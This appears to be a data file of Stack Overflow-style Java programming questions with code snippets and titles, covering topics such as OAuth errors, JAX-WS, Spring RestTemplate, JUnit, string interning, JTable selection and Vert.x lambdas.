//api.twitter.com/oauth/access_token '' , `` https : //api.twitter.com/oauth/authorize '' , `` ZA*****************Dw '' , `` Zy*************************************U4 '' ) ; if ( OAuth.isVerifierResponse ( ) ) { // ... } else { OAuth twitter = OAuth.service ( twitterServiceInfo ) ; response = twitter.retrieveRequestToken ( ) ; < -- NOT WORKING ! ! ! redirect ( twitter.redirectUrl ( response.token ) ) ; } }",Getting error 401 trying to connect to Twitter with play.libs.OAuth +Java,I have the following XML as my JAX-WS web service response : But this is what I want : How can I remove the < QueryRBTReqMsgResponse > tag from my response ? I tried too many changes but none of them did the job ! ! !,< soapenv : Envelope > < soapenv : Header/ > < soapenv : Body > < QueryRBTReqMsgResponse > < QueryRBTRspMsg > < resultHeader > < resultCode > 0 < /resultCode > < resultDesc > Successful < /resultDesc > < /resultHeader > < ! -- Optional : -- > < QueryRBTResponse > < part > 1 < /part > < /QueryRBTResponse > < /QueryRBTRspMsg > < /QueryRBTReqMsgResponse > < /soapenv : Body > < /soapenv : Envelope > < soapenv : Envelope > < soapenv : Header/ > < soapenv : Body > < QueryRBTRspMsg > < resultHeader > < resultCode > 0 < /resultCode > < resultDesc > Successful < /resultDesc > < /resultHeader > < ! -- Optional : -- > < QueryRBTResponse > < part > 1 < /part > < /QueryRBTResponse > < /QueryRBTRspMsg > < /soapenv : Body > < /soapenv : Envelope >,How can I change response xml in JAX-WS +Java,"I have this piece of code working fine on a project that uses RestTemplateBuilder 1.5.14After updating to RestTemplateBuilder 2.1.5 I have this piece of code : but when running the code I have a InvocationTargetException / NullPointerException that dissapears when deleting the line .requestFactory ( new MyHttpComponentFactoryBuilder ( ) .build ( ) .getClass ( ) ) , but debugging new MyHttpComponentFactoryBuilder ( ) .build ( ) .getClass ( ) is not nullI also tried with the solution proposed : but I have also a InvocationTargetException / NullPointerException","this.restTemplate = restTemplateBuilder .setConnectTimeout ( connectTimeout ) .setReadTimeout ( readTimeout ) .requestFactory ( new MyHttpComponentFactoryBuilder ( ) .build ( ) ) .build ( ) ; this.restTemplate = restTemplateBuilder .setConnectTimeout ( Duration.ofMillis ( connectTimeout ) ) .setReadTimeout ( Duration.ofMillis ( readTimeout ) ) .requestFactory ( new MyHttpComponentFactoryBuilder ( ) .build ( ) .getClass ( ) ) .build ( ) ; ... .requestFactory ( new MyRequestFactorySupplier ( ) ) ... class MyRequestFactorySupplier implements Supplier < ClientHttpRequestFactory > { @ Override public ClientHttpRequestFactory get ( ) { // Using Apache HTTP client . HttpClientBuilder clientBuilder = HttpClientBuilder.create ( ) ; HttpClient httpClient = clientBuilder.build ( ) ; HttpComponentsClientHttpRequestFactory requestFactory = new HttpComponentsClientHttpRequestFactory ( httpClient ) ; requestFactory.setBufferRequestBody ( false ) ; // When sending large amounts of data via POST or PUT , it is recommended to change this property to false , so as not to run out of memory . return requestFactory ; } }",SpringBoot upgrade RestTemplateBuilder from 1.5.14 to 2.1.5 +Java,"I have a project for my computer science class and we 're making battleship . Part of the program is that we have make sure that the piece the player puts down does not go off of the board . I 've made a method to check to see whether it goes off the board : But once I 've gotten it to print out an error message , I 'm not sure how to make it so that the program can re-recieve the new position for the piece , without putting an if statement in and if statement in an if statement ( and on and on ) , because you need to check the new position to make sure it does n't go off of the board.Here is the part where I get the position of the playing piece ( although I do n't think you need it ) And here 's one of the if statements that I use to check/place the piecesThis may be a duplicate , but I did n't know how to reword my search to find what I wanted . ( So if anyone could direct me to the right article , that 'd be nice as well )","private static boolean test ( String s , int row , int column , int spaces ) { if ( s.equals ( `` right '' ) & & column+5 < =10 ) { return true ; } if ( s.equals ( `` up '' ) & & row-spaces > =0 ) { return true ; } if ( s.equals ( `` left '' ) & & column-spaces > =0 ) { return true ; } if ( s.equals ( `` Down '' ) & & row+spaces < =10 ) { return true ; } return false ; } Scanner sonic= new Scanner ( System.in ) ; System.out.println ( `` Please input the row where you want the aircraft carrier ( 5 spaces ) to begin : `` ) ; int beginrow = sonic.nextInt ( ) ; System.out.println ( `` Please input the column where you want the aircraft carrier ( 5 spaces ) to begin : `` ) ; int begincolumn = sonic.nextInt ( ) ; System.out.print ( `` Please input what direction ( up , down , left , right ) \nyou want your battle ship to face , making sure it does n't go off of the board . `` ) ; String direction = sonic.next ( ) ; if ( direction.equals ( `` left '' ) & & test ( `` left '' , beginrow , begincolumn,5 ) ) { for ( int i = beginrow ; i > beginrow-5 ; i -- ) { battleship [ begincolumn-1 ] [ i-1 ] = ( ' a ' ) ; } } else if ( ! test ( `` left '' , beginrow , begincolumn,5 ) ) { System.out.println ( `` `` ) ; System.out.println ( `` *****ERROR : your piece goes off the board , please re-enter your position and direction***** '' ) ; }","Making a program repeat within itself , but you ca n't make a method ( ? ) : Java" +Java,"I was testing a String multiplier class with a multiply ( ) method that takes 2 numbers as inputs ( as String ) and returns the result number ( as String ) I have done the implementation and created a test class with the following test cases involving the input String parameter as valid numbers characters special symbol empty string Null value 0 Negative number float Boundary values Numbers that are valid but their product is out of range numbers will + sign ( +23 ) Now my questions are these : I 'd like to know if `` each and every '' assertEquals ( ) should be in it 's own test method ? Or , can I group similar test cases like testInvalidArguments ( ) to contains all asserts involving invalid characters since ALL of them throw the same NumberFormatException ? If testing an input value like character ( `` a '' ) , do I need to include test cases for ALL scenarios ? `` a '' as the first argument `` a '' as the second argument `` a '' and `` b '' as the 2 arguments As per my understanding , the benefit of these unit tests is to find out the cases where the input from a user might fail and result in an exception . And , then we can give the user with a meaningful message ( asking them to provide valid input ) instead of an exception . Is that the correct ? And , is it the only benefit ? Are the 11 test cases mentioned above sufficient ? Did I miss something ? Did I overdo ? When is enough ? Following from the above point , have I successfully tested the multiply ( ) method ?","public String multiply ( String num1 , String num2 ) ;",Basic jUnit Questions +Java,"I just came accross the following code , which surprised me a little bit , I converted it to a simple SSCEE here though : custompackage.package1.MyEnum.javaNow from outside this package , I can do the following : However I am not able to use MyInterface at all , which I understand as it is package-private to custompackage.package1.I do n't understand what exactly is going on though , it seems like MyEnum got the myMethod ( ) method added , but it does not implement ( from the outside ) MyInterface.How does this work ?","public enum MyEnum implements MyInterface { CONSTANT_ONE ( ) { @ Override public void myMethod ( ) { //do something very interesting } } , CONSTANT_TWO ( ) { @ Override public void myMethod ( ) { //do something very interesting } } ; } interface MyInterface { void myMethod ( ) ; } Consumer < MyEnum > myMethod = MyEnum : :myMethod ;","Enum implementing interface , interface and method visibility" +Java,I have the method below in AppEngine : My doInBackground method in Android AsyncTask : I encountered the ff error : In logcat : It only work when calling non-auth method . How to fix it ? Im using the local server .,"@ ApiMethod ( name = `` authed '' , path = `` greeting/authed '' ) public HelloGreeting authedGreeting ( User user ) { ... } HelloGreeting hg = null ; try { hg = service.authed ( ) .execute ( ) ; } catch ( IOException e ) { Log.d ( `` error '' , e.getMessage ( ) , e ) ; } return hg ; /_ah/api/ ... /v1/greeting/authed : java.io.EOFException Problem accessing /_ah/api/ ... /v1/greeting/authed . Reason : INTERNAL_SERVER_ERROR at java.util.zip.GZIPInputStream.readUByte at java.util.zip.GZIPInputStream.readUShort at java.util.zip.GZIPInputStream.readUShort",Google Cloud Endpoints EOFException +Java,"I recently had an interview with Google for a Software Engineering position and the question asked regarded building a pattern matcher.So you have to build the Function that does the following : givenPattern is a string that contains : So the call could be something likeisPattern ( `` abc '' , `` abcd '' ) - returns false as it does not match the pattern ( 'd ' is extra ) isPattern ( `` a*bc '' , `` aksakwjahwhajahbcdbc '' ) , which is true as we have an ' a ' at the start , many characters after and then it ends with `` bc '' isPattern ( `` a ? bc '' , `` adbc '' ) returns true as each character of the pattern matches in the given string.During the interview , time being short , I figured one could walk through the pattern , see if a character is a letter , a * or a ? and then match the characters in the given string respectively . But that ended up being a complicated set of for-loops and we did n't manage to come to a conclusion within the given 45 minutes.Could someone please tell me how they would solve this problem quickly and efficiently ? Many thanks !","boolean isPattern ( String givenPattern , String stringToMatch ) a ) ' a'- ' z ' charsb ) '* ' chars which can be matched by 0 or more lettersc ) ' ? ' which just matches to a character - any letter basically",Finding whether a string meets a certain pattern +Java,"Absolutely basic Java question which I 'm having a hard time finding on Google . What does the following mean : Is that equivalent to writing : I wrote a quick main which tests this , and it seems to be the case . I just wanted to make sure I 'm not missing anything .",( 7 & 8 ) == 0 ? 7 == 0 || 8 == 0 ?,Notation for logic in Java +Java,I am trying to get the public key of a server . This is what I tried : The problem is get the result of getServerKey ( ) is null ... How can I get the public key of a SSH server with the Apache SSHD client .,"val serverKey = sshClient.connect ( `` dyn mem '' , `` localhost '' , `` 2222 '' ) .verify ( ) .getSession ( ) .getKex ( ) .getServerKey ( )",Apache SSHD client get server public key +Java,I run the following code and get the results shown in the comments . I know the differences between == and .equals ( ) . What I do n't understand is why my code in the second line has different results from the code in the third line . In trying to debug this I used the javap -c command and got the following output 'code ' for the first string concatenation : And the output for the second string concatenation : I am not so familiar with this 'code ' and ca n't see any reason why these differences exists . So could anyone explain why those differences happen ? Related post,String de = `` de '' ; // String abcde = `` abc '' + `` de '' ; // abcde == `` abcde '' reture true String abcde = `` abc '' + de ; // abcde == `` abcde '' reture false ; System.out.println ( ) ; System.out.println ( abcde== '' abcde '' ) ; System.out.println ( de== '' de '' ) ; Code : 0 : ldc # 9 ; //String de 2 : astore_1 3 : new # 10 ; //class java/lang/StringBuilder 6 : dup 7 : invokespecial # 11 ; //Method java/lang/StringBuilder . `` < init > '' : ( ) V 10 : ldc # 4 ; //String abc 12 : invokevirtual # 12 ; //Method java/lang/StringBuilder.append : ( Ljava/lang String ; ) Ljava/lang/StringBuilder ; 15 : aload_1 16 : invokevirtual # 12 ; //Method java/lang/StringBuilder.append : ( Ljava/lang String ; ) Ljava/lang/StringBuilder ; 19 : invokevirtual # 13 ; //Method java/lang/StringBuilder.toString : ( ) Ljava/l ng/String ; 22 : astore_2 23 : getstatic # 14 ; //Field java/lang/System.out : Ljava/io/PrintStream ; 26 : invokevirtual # 15 ; //Method java/io/PrintStream.println : ( ) V 29 : getstatic # 14 ; //Field java/lang/System.out : Ljava/io/PrintStream ; 32 : aload_2 33 : ldc # 16 ; //String abcde 35 : if_acmpne 42 38 : iconst_1 39 : goto 43 42 : iconst_0 43 : invokevirtual # 17 ; //Method java/io/PrintStream.println : ( Z ) V 46 : getstatic # 14 ; //Field java/lang/System.out : Ljava/io/PrintStream ; 49 : aload_1 50 : ldc # 9 ; //String de 52 : if_acmpne 59 55 : iconst_1 56 : goto 60 59 : iconst_0 60 : invokevirtual # 17 ; //Method java/io/PrintStream.println : ( Z ) V 63 : return,Differences between `` abc '' + `` de '' and `` abc '' + de ( de = `` de '' ) in Java ? +Java,"I would like to add copies of a propertyMap to my propertyMap : The code above does not do that but hopefully conveys the intent ? What 's the best way to do this ? I have done some reading on `` cloning '' , `` defensive copying '' , `` immutable objects '' , Collections.unmodifiable ... and the like but I am more confused than before.All I need , in typical SO style , is a better way to write what I mean in the code snippet , please .","public void addProperties ( Map < String , Object > propertyMap ) { for ( Map.Entry < String , Object > propertyEntry : propertyMap.entrySet ( ) ) { this.propertyMap.put ( propertyEntry.getKey ( ) , propertyEntry.getValue ( ) ) ; } }","Adding *copies* of entries from Java Map < String , Object > propertyMap" +Java,I have come across this example from wikipedia regarding weak reference : I do n't understand in this scenario why only r.get ( ) returns null but not the sr.get ( ) . Can someone let me know the reason ? Many thanks .,"import java.lang.ref.WeakReference ; public class ReferenceTest { public static void main ( String [ ] args ) throws InterruptedException { WeakReference r = new WeakReference ( new String ( `` I 'm here '' ) ) ; WeakReference sr = new WeakReference ( `` I 'm here '' ) ; System.out.println ( `` before gc : r= '' + r.get ( ) + `` , static= '' + sr.get ( ) ) ; System.gc ( ) ; Thread.sleep ( 100 ) ; // only r.get ( ) becomes null System.out.println ( `` after gc : r= '' + r.get ( ) + `` , static= '' + sr.get ( ) ) ; } }",WeakReference to String and String constants +Java,"I 'm using the following code to generate a list of combinations of size s : Given a list with the values 1 , 2 and 3 with a size of 2 : This produces the following combinations : I 'm trying to take this output and generate a 3rd list where each of the three rows from previous output is now combined with every other row - only this time order sensitive and up to 'd ' levels deep . I 'm expecting results similar to the following output:1 level deep:2 levels deep:3 levels deep:4 levels deep : Note how at 2 levels deep the combination [ 1 , 2 ] , [ 1 , 2 ] is not generated since there 's no set of different numbers in between , before or after that set . However , at 3 levels deep we generate the combination [ 1 , 2 ] , [ 1 , 3 ] , [ 1 , 2 ] since the combination [ 1 , 3 ] is present between the two pairs of [ 1 , 2 ] . Similarly , at 4 levels deep , we generate the sequence [ 1 , 2 ] , [ 1 , 3 ] , [ 1 , 2 ] , [ 1 , 2 ] which is not equivalent to the sequence [ 1 , 2 ] , [ 1 , 3 ] , [ 1 , 2 ] since there 's additional sequence of [ 1 , 2 ] after [ 1 , 2 ] , [ 1 , 3 ] , [ 1 , 2 ] . We do not generate the sequence [ 1 , 2 ] , [ 1 , 2 ] , [ 1 , 2 ] , [ 1 , 2 ] at 4 levels deep since this combination is essentially equivalent to [ 1 , 2 ] bec there is no new set of numbers in-between , before or after the combination [ 1 , 2 ] .In short , how do I combine a list of lists of numbers - up to any number of levels deep ( 1-4 was just used as an example ) but this time the result being order sensitive ( so [ 1 , 2 ] , [ 1 , 3 ] is not equivalent to [ 1 , 3 ] , [ 1 , 2 ] ) ? The result would likely be stored in a List < List < List < Integer > > > .I 've searched around on StackOverflow and have seen several threads on generating combinations ( such as this one and this one ) but did not address the exact situation outlined above.Thanks","public static < T extends Comparable < ? super T > > List < List < T > > combinations ( List < T > items , int size ) { if ( size == 1 ) { List < List < T > > result = new ArrayList < > ( ) ; for ( T item : items ) { result.add ( Collections.singletonList ( item ) ) ; } return result ; } List < List < T > > result = new ArrayList < > ( ) ; for ( int i=0 ; i < = items.size ( ) - size ; i++ ) { T firstItem = items.get ( i ) ; List < List < T > > additionalItems = combinations ( items.subList ( i+1 , items.size ( ) ) , size-1 ) ; for ( List < T > additional : additionalItems ) { List < T > combination = new ArrayList < > ( ) ; combination.add ( firstItem ) ; combination.addAll ( additional ) ; result.add ( combination ) ; } } return result ; } List < Integer > items = new ArrayList < Integer > ( ) ; items.add ( 1 ) ; items.add ( 2 ) ; items.add ( 3 ) ; combinations ( items , 2 ) [ 1 , 2 ] [ 1 , 3 ] [ 2 , 3 ] [ 1 , 2 ] [ 1 , 3 ] [ 2 , 3 ] [ 1 , 2 ] , [ 1 , 3 ] [ 1 , 2 ] , [ 2 , 3 ] [ 1 , 3 ] , [ 2 , 3 ] [ 1 , 3 ] , [ 1 , 2 ] [ 2 , 3 ] , [ 1 , 2 ] [ 2 , 3 ] , [ 1 , 3 ] [ [ 1 , 2 ] , [ 1 , 2 ] , [ 1 , 3 ] ] [ [ 1 , 2 ] , [ 1 , 2 ] , [ 2 , 3 ] ] [ [ 1 , 2 ] , [ 1 , 3 ] , [ 1 , 2 ] ] [ [ 1 , 2 ] , [ 1 , 3 ] , [ 1 , 3 ] ] [ [ 1 , 2 ] , [ 1 , 3 ] , [ 2 , 3 ] ] [ [ 1 , 2 ] , [ 2 , 3 ] , [ 1 , 2 ] ] [ [ 1 , 2 ] , [ 2 , 3 ] , [ 1 , 3 ] ] [ [ 1 , 2 ] , [ 2 , 3 ] , [ 2 , 3 ] ] [ [ 1 , 3 ] , [ 1 , 2 ] , [ 1 , 2 ] ] [ [ 1 , 3 ] , [ 1 , 2 ] , [ 1 , 3 ] ] [ [ 1 , 3 ] , [ 1 , 2 ] , [ 2 , 3 ] ] [ [ 1 , 3 ] , [ 1 , 3 ] , [ 1 , 2 ] ] [ [ 1 , 3 ] , [ 1 , 3 ] , [ 2 , 3 ] ] [ [ 1 , 3 ] , [ 2 , 3 ] , [ 1 , 2 ] ] [ [ 1 , 3 ] , [ 2 , 3 ] , [ 1 , 3 ] ] [ [ 1 , 3 ] , [ 2 , 3 ] , [ 2 , 3 ] ] [ [ 2 , 3 ] , [ 1 , 2 ] , [ 1 , 2 ] ] [ [ 2 , 3 ] , [ 1 , 2 ] , [ 1 , 3 ] ] [ [ 2 , 3 ] , [ 1 , 2 ] , [ 2 , 3 ] ] [ [ 2 , 3 ] , [ 1 , 3 ] , [ 1 , 2 ] ] [ [ 2 , 3 ] , [ 1 , 3 ] , [ 1 , 3 ] ] [ [ 2 , 3 ] , [ 1 , 3 ] , [ 2 , 3 ] ] [ [ 2 , 3 ] , [ 2 , 3 ] , [ 1 , 2 ] ] [ [ 2 , 3 ] , [ 2 , 3 ] , [ 1 , 3 ] ] [ [ 1 , 2 ] , [ 1 , 2 ] , [ 1 , 2 ] , [ 1 , 3 ] ] [ [ 1 , 2 ] , [ 1 , 2 ] , [ 1 , 2 ] , [ 2 , 3 ] ] [ [ 1 , 2 ] , [ 1 , 2 ] , [ 1 , 3 ] , [ 1 , 2 ] ] [ [ 1 , 2 ] , [ 1 , 2 ] , [ 1 , 3 ] , [ 1 , 3 ] ] [ [ 1 , 2 ] , [ 1 , 2 ] , [ 1 , 3 ] , [ 2 , 3 ] ] [ [ 1 , 2 ] , [ 1 , 2 ] , [ 2 , 3 ] , [ 1 , 2 ] ] [ [ 1 , 2 ] , [ 1 , 2 ] , [ 2 , 3 ] , [ 1 , 3 ] ] [ [ 1 , 2 ] , [ 1 , 2 ] , [ 2 , 3 ] , [ 2 , 3 ] ] [ [ 1 , 2 ] , [ 1 , 3 ] , [ 1 , 2 ] , [ 1 , 2 ] ] [ [ 1 , 2 ] , [ 1 , 3 ] , [ 1 , 2 ] , [ 1 , 3 ] ] [ [ 1 , 2 ] , [ 1 , 3 ] , [ 1 , 2 ] , [ 2 , 3 ] ] [ [ 1 , 2 ] , [ 1 , 3 ] , [ 1 , 3 ] , [ 1 , 2 ] ] [ [ 1 , 2 ] , [ 1 , 3 ] , [ 1 , 3 ] , [ 1 , 3 ] ] [ [ 1 , 2 ] , [ 1 , 3 ] , [ 1 , 3 ] , [ 2 , 3 ] ] [ [ 1 , 2 ] , [ 1 , 3 ] , [ 2 , 3 ] , [ 1 , 2 ] ] [ [ 1 , 2 ] , [ 1 , 3 ] , [ 2 , 3 ] , [ 1 , 3 ] ] [ [ 1 , 2 ] , [ 1 , 3 ] , [ 2 , 3 ] , [ 2 , 3 ] ] [ [ 1 , 2 ] , [ 2 , 3 ] , [ 1 , 2 ] , [ 1 , 2 ] ] [ [ 1 , 2 ] , [ 2 , 3 ] , [ 1 , 2 ] , [ 1 , 3 ] ] [ [ 1 , 2 ] , [ 2 , 3 ] , [ 1 , 2 ] , [ 2 , 3 ] ] [ [ 1 , 2 ] , [ 2 , 3 ] , [ 1 , 3 ] , [ 1 , 2 ] ] [ [ 1 , 2 ] , [ 2 , 3 ] , [ 1 , 3 ] , [ 1 , 3 ] ] [ [ 1 , 2 ] , [ 2 , 3 ] , [ 1 , 3 ] , [ 2 , 3 ] ] [ [ 1 , 2 ] , [ 2 , 3 ] , [ 2 , 3 ] , [ 1 , 2 ] ] [ [ 1 , 2 ] , [ 2 , 3 ] , [ 2 , 3 ] , [ 1 , 3 ] ] [ [ 1 , 2 ] , [ 2 , 3 ] , [ 2 , 3 ] , [ 2 , 3 ] ] [ [ 1 , 3 ] , [ 1 , 2 ] , [ 1 , 2 ] , [ 1 , 2 ] ] [ [ 1 , 3 ] , [ 1 , 2 ] , [ 1 , 2 ] , [ 1 , 3 ] ] [ [ 1 , 3 ] , [ 1 , 2 ] , [ 1 , 2 ] , [ 2 , 3 ] ] [ [ 1 , 3 ] , [ 1 , 2 ] , [ 1 , 3 ] , [ 1 , 2 ] ] [ [ 1 , 3 ] , [ 1 , 2 ] , [ 1 , 3 ] , [ 1 , 3 ] ] [ [ 1 , 3 ] , [ 1 , 2 ] , [ 1 , 3 ] , [ 2 , 3 ] ] [ [ 1 , 3 ] , [ 1 , 2 ] , [ 2 , 3 ] , [ 1 , 2 ] ] [ [ 1 , 3 ] , [ 1 , 2 ] , [ 2 , 3 ] , [ 1 , 3 ] ] [ [ 1 , 3 ] , [ 1 , 2 ] , [ 2 , 3 ] , [ 2 , 3 ] ] [ [ 1 , 3 ] , [ 1 , 3 ] , [ 1 , 2 ] , [ 1 , 2 ] ] [ [ 1 , 3 ] , [ 1 , 3 ] , [ 1 , 2 ] , [ 1 , 3 ] ] [ [ 1 , 3 ] , [ 1 , 3 ] , [ 1 , 2 ] , [ 2 , 3 ] ] [ [ 1 , 3 ] , [ 1 , 3 ] , [ 1 , 3 ] , [ 1 , 2 ] ] [ [ 1 , 3 ] , [ 1 , 3 ] , [ 1 , 3 ] , [ 2 , 3 ] ] [ [ 1 , 3 ] , [ 1 , 3 ] , [ 2 , 3 ] , [ 1 , 2 ] ] [ [ 1 , 3 ] , [ 1 , 3 ] , [ 2 , 3 ] , [ 1 , 3 ] ] [ [ 1 , 3 ] , [ 1 , 3 ] , [ 2 , 3 ] , [ 2 , 3 ] ] [ [ 1 , 3 ] , [ 2 , 3 ] , [ 1 , 2 ] , [ 1 , 2 ] ] [ [ 1 , 3 ] , [ 2 , 3 ] , [ 1 , 2 ] , [ 1 , 3 ] ] [ [ 1 , 3 ] , [ 2 , 3 ] , [ 1 , 2 ] , [ 2 , 3 ] ] [ [ 1 , 3 ] , [ 2 , 3 ] , [ 1 , 3 ] , [ 1 , 2 ] ] [ [ 1 , 3 ] , [ 2 , 3 ] , [ 1 , 3 ] , [ 1 , 3 ] ] [ [ 1 , 3 ] , [ 2 , 3 ] , [ 1 , 3 ] , [ 2 , 3 ] ] [ [ 1 , 3 ] , [ 2 , 3 ] , [ 2 , 3 ] , [ 1 , 2 ] ] [ [ 1 , 3 ] , [ 2 , 3 ] , [ 2 , 3 ] , [ 1 , 3 ] ] [ [ 1 , 3 ] , [ 2 , 3 ] , [ 2 , 3 ] , [ 2 , 3 ] ] [ [ 2 , 3 ] , [ 1 , 2 ] , [ 1 , 2 ] , [ 1 , 2 ] ] [ [ 2 , 3 ] , [ 1 , 2 ] , [ 1 , 2 ] , [ 1 , 3 ] ] [ [ 2 , 3 ] , [ 1 , 2 ] , [ 1 , 2 ] , [ 2 , 3 ] ] [ [ 2 , 3 ] , [ 1 , 2 ] , [ 1 , 3 ] , [ 1 , 2 ] ] [ [ 2 , 3 ] , [ 1 , 2 ] , [ 1 , 3 ] , [ 1 , 3 ] ] [ [ 2 , 3 ] , [ 1 , 2 ] , [ 1 , 3 ] , [ 2 , 3 ] ] [ [ 2 , 3 ] , [ 1 , 2 ] , [ 2 , 3 ] , [ 1 , 2 ] ] [ [ 2 , 3 ] , [ 1 , 2 ] , [ 2 , 3 ] , [ 1 , 3 ] ] [ [ 2 , 3 ] , [ 1 , 2 ] , [ 2 , 3 ] , [ 2 , 3 ] ] [ [ 2 , 3 ] , [ 1 , 3 ] , [ 1 , 2 ] , [ 1 , 2 ] ] [ [ 2 , 3 ] , [ 1 , 3 ] , [ 1 , 2 ] , [ 1 , 3 ] ] [ [ 2 , 3 ] , [ 1 , 3 ] , [ 1 , 2 ] , [ 2 , 3 ] ] [ [ 2 , 3 ] , [ 1 , 3 ] , [ 1 , 3 ] , [ 1 , 2 ] ] [ [ 2 , 3 ] , [ 1 , 3 ] , [ 1 , 3 ] , [ 1 , 3 ] ] [ [ 2 , 3 ] , [ 1 , 3 ] , [ 1 , 3 ] , [ 2 , 3 ] ] [ [ 2 , 3 ] , [ 1 , 3 ] , [ 2 , 3 ] , [ 1 , 2 ] ] [ [ 2 , 3 ] , [ 1 , 3 ] , [ 2 , 3 ] , [ 1 , 3 ] ] [ [ 2 , 3 ] , [ 1 , 3 ] , [ 2 , 3 ] , [ 2 , 3 ] ] [ [ 2 , 3 ] , [ 2 , 3 ] , [ 1 , 2 ] , [ 1 , 2 ] ] [ [ 2 , 3 ] , [ 2 , 3 ] , [ 1 , 2 ] , [ 1 , 3 ] ] [ [ 2 , 3 ] , [ 2 , 3 ] , [ 1 , 2 ] , [ 2 , 3 ] ] [ [ 2 , 3 ] , [ 2 , 3 ] , [ 1 , 3 ] , [ 1 , 2 ] ] [ [ 2 , 3 ] , [ 2 , 3 ] , [ 1 , 3 ] , [ 1 , 3 ] ] [ [ 2 , 3 ] , [ 2 , 3 ] , [ 1 , 3 ] , [ 2 , 3 ] ] [ [ 2 , 3 ] , [ 2 , 3 ] , [ 2 , 3 ] , [ 1 , 2 ] ] [ [ 2 , 3 ] , [ 2 , 3 ] , [ 2 , 3 ] , [ 1 , 3 ] ]",Generating All Combinations of List n Levels Deep in Java +Java,"This is my first attempt using ControlBus to turn inbound channel adapters on/off.To make it simple , I 'm sending my control message by writing an empty file into a directory watched by a inbound file adapter ( this one is perpetually turned on ) , which I then route to a service activator that will turn on/off my other inbound adapters.In my ControlBusController bean : The message gets sent through into the controlBusChannel , but I get an error saying : filesIn is already declared as the ID for my adapter , as seen above in the XML snippet.Any ideas ? Thanks ! P.S . I 've tried just putting in the @ ManagedOperation / @ ManagedAttribute annotations and they do n't seem to have any positive effect .","< int : channel id= '' controlBusChannel '' / > < int : control-bus input-channel= '' controlBusChannel '' auto-startup= '' true '' / > < file : inbound-channel-adapter id= '' controlFilesIn '' directory= '' file : /tmp/control/input '' prevent-duplicates= '' true '' auto-startup= '' true '' > < int : poller id= '' poller '' fixed-delay= '' 500 '' / > < /file : inbound-channel-adapter > < int : service-activator input-channel= '' controlFilesIn '' output-channel= '' controlFilesOut '' ref= '' controlFileHandler '' method= '' handleUpdate '' / > < bean id= '' controlFileHandler '' class= '' com.myproj.integration.ControlBusController '' / > < file : outbound-channel-adapter id= '' controlFilesOut '' directory= '' file : /tmp/control/output '' delete-source-files= '' true '' / > < file : inbound-channel-adapter id= '' filesIn '' directory= '' file : /tmp/filesIn/input '' prevent-duplicates= '' true '' filter= '' FileFilterOnLastModifiedTime '' auto-startup= '' false '' > < int : poller id= '' poller '' fixed-delay= '' 500 '' / > < /file : inbound-channel-adapter > @ Componentpublic class ControlBusController implements ApplicationContextAware { final static Logger logger = LoggerFactory.getLogger ( ControlBusController.class ) ; private ApplicationContext ctx ; public File handleUpdate ( File input ) throws ParseException , IOException , FileNotFoundException { String fileName = input.getName ( ) ; logger.info ( `` =================================== '' ) ; logger.info ( `` Triggering control bus update by `` + fileName ) ; String [ ] fnArray = fileName.split ( `` _ '' ) ; String inputChannel = fnArray [ 1 ] ; String inputCommand = fnArray [ 2 ] ; if ( `` FILESIN '' .equals ( inputChannel ) & & `` START '' .equals ( inputCommand ) ) { MessageChannel channel = ctx.getBean ( `` controlBusChannel '' , MessageChannel.class ) ; if ( channel ! = null ) { String controlMessage = `` @ filesIn.start ( ) '' ; logger.info ( `` Sending control message : `` + controlMessage ) ; channel.send ( new GenericMessage < > ( controlMessage ) ) ; } else logger.error ( `` Could not get Message Channel from context or context was null '' ) ; } return input ; } @ Override public void setApplicationContext ( ApplicationContext ac ) throws BeansException { this.ctx = ac ; } } Caused by : org.springframework.expression.EvaluationException : The method 'start ' is not supported by this command processor . If using the Control Bus , consider adding @ ManagedOperation or @ ManagedAttribute . at org.springframework.integration.handler.ExpressionCommandMessageProcessor $ ExpressionCommandMethodResolver.validateMethod ( ExpressionCommandMessageProcessor.java:111 )",Error while sending message to turn on Spring Integration inbound adapter using ControlBus +Java,"I have a JTable and want to allow deselecting all rows by clicking into an empty part of the table . This works fine so far . However , even though I call table.clearSelection ( ) ; the table still shows a border around the previously enabled cell ( see cell 5 in the example ) : I would like to get rid of this border as well ( it looks especially out of place on the Mac 's native look and feel , where the cells suddenly turn black ) .Fully working minimal example code : [ edit ] Tried to add table.getColumnModel ( ) .getSelectionModel ( ) .clearSelection ( ) ; which was mentioned here around . But this does not help either .","public class JTableDeselect extends JFrame { public JTableDeselect ( ) { Object rowData [ ] [ ] = { { `` 1 '' , `` 2 '' , `` 3 '' } , { `` 4 '' , `` 5 '' , `` 6 '' } } ; Object columnNames [ ] = { `` One '' , `` Two '' , `` Three '' } ; JTable table = new JTable ( rowData , columnNames ) ; table.setFillsViewportHeight ( true ) ; table.addMouseListener ( new MouseAdapter ( ) { @ Override public void mousePressed ( MouseEvent e ) { if ( table.rowAtPoint ( e.getPoint ( ) ) == -1 ) { table.clearSelection ( ) ; } } } ) ; add ( new JScrollPane ( table ) ) ; setSize ( 300 , 150 ) ; } public static void main ( String args [ ] ) throws Exception { UIManager.setLookAndFeel ( UIManager.getCrossPlatformLookAndFeelClassName ( ) ) ; new JTableDeselect ( ) .setVisible ( true ) ; } }",JTable : Remove border around cell when clearing row selection +Java,"Here 's a simplified version of what my code looks like : This makes a POST request to localhost:6660/request , and I create a new JsonObject called pairing that stores the response to that request . I could process pairing inside of the lambda expression for the request , but ideally , I would be able to return the JsonObject to the method that calls pairing ( ) and process it from there.I tried this : But it does n't work because I get the `` pairing must be final or effectively final '' error . Is there some way I can return `` pairing '' from this method so that I can access it elsewhere in my program ? Or am I possibly approaching this the wrong way ?","public void pairing ( ) { WebClient web = WebClient.create ( vertx ) ; String url = `` /request '' ; JsonObject obj = new JsonObject ( ) ; web .post ( 6660 , `` localhost '' , url ) .sendJsonObject ( obj , response - > { JsonObject pairing = response.result ( ) .body ( ) .toJsonObject ( ) ; // what I want to return } } public JsonObject pairing ( ) { JsonObject pairing = new JsonObject ( ) ; WebClient web = WebClient.create ( vertx ) ; String url = `` /request '' ; JsonObject obj = new JsonObject ( ) ; web .post ( 6660 , `` localhost '' , url ) .sendJsonObject ( obj , response - > { pairing = response.result ( ) .body ( ) .toJsonObject ( ) ; } return pairing ; }",How can my method return a value computed within a lambda expression ? +Java,"I would like to resolve the following condtion string . Because I would like to support dynamic condtion in my project.My expected Program is Update : I am not trying to resolve the math equation , like below","a ! = 0 & & b > 5 public boolean resolve ( ) { String condition = `` a ! = 0 & & b > 5 '' ; Map < String , Object > paramMap = new HashMap < String , Object > ; paramMap.put ( `` a '' , 2 ) ; paramMap.put ( `` b '' , 6 ) 